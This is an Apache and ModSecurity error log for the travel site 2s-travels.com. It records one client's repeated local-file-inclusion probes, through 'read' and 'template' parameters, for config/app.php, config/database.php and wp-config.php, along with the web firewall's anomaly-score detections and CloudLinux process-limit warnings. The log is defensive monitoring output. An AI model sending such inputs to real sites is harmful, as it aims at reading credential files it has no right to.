[Fri Jul 17 08:55:47.428753 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.429034 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu0kXT4NBqALj2lZ9BAAAABA"]
[Fri Jul 17 08:55:47.432525 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:read: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu-1pLmPpy2r_2CxffwAAAA8"]
[Fri Jul 17 08:55:47.433193 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu-1pLmPpy2r_2CxffwAAAA8"]
[Fri Jul 17 08:55:47.433331 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.433597 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu-1pLmPpy2r_2CxffwAAAA8"]
[Fri Jul 17 08:55:47.437011 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:read: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmJAAAAAg"]
[Fri Jul 17 08:55:47.437673 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmJAAAAAg"]
[Fri Jul 17 08:55:47.437806 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.438077 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu3RlmrtCoY_COpcmJAAAAAg"]
[Fri Jul 17 08:55:47.445823 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:read: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlBwAAAAI"]
[Fri Jul 17 08:55:47.446419 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlBwAAAAI"]
[Fri Jul 17 08:55:47.446534 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.446853 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu41dLClkUfK_dfHlBwAAAAI"]
[Fri Jul 17 08:55:47.448894 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:read: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxHlOGcokz2QIwTTOQAAAAM"]
[Fri Jul 17 08:55:47.449598 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxHlOGcokz2QIwTTOQAAAAM"]
[Fri Jul 17 08:55:47.449747 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.450482 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxHlOGcokz2QIwTTOQAAAAM"]
[Fri Jul 17 08:55:47.454052 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.484319 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.488848 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.489312 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.500827 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.508683 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.522689 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.526028 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.530442 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.530655 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.547393 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.550136 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.555850 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.561375 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:template: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxHlOGcokz2QIwTTOwAAAAM"]
[Fri Jul 17 08:55:47.562055 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxHlOGcokz2QIwTTOwAAAAM"]
[Fri Jul 17 08:55:47.562222 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.562515 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxHlOGcokz2QIwTTOwAAAAM"]
[Fri Jul 17 08:55:47.563405 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:template: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxJ0z2bEtnOrIXVAggAAAAk"]
[Fri Jul 17 08:55:47.564095 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxJ0z2bEtnOrIXVAggAAAAk"]
[Fri Jul 17 08:55:47.564234 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.564541 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxJ0z2bEtnOrIXVAggAAAAk"]
[Fri Jul 17 08:55:47.564605 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxJ0z2bEtnOrIXVAggAAAAk"]
[Fri Jul 17 08:55:47.564625 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxJ0z2bEtnOrIXVAggAAAAk"]
[Fri Jul 17 08:55:47.578218 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:template: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETbAwAAAAo"]
[Fri Jul 17 08:55:47.578901 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETbAwAAAAo"]
[Fri Jul 17 08:55:47.579032 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.579322 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETbAwAAAAo"]
[Fri Jul 17 08:55:47.586143 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:template: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguwRRrtuZqNDDSqWwVwAAABo"]
[Fri Jul 17 08:55:47.586159 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:template: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu6quHSHoCJK_V0SBeAAAABs"]
[Fri Jul 17 08:55:47.586803 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu6quHSHoCJK_V0SBeAAAABs"]
[Fri Jul 17 08:55:47.586950 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
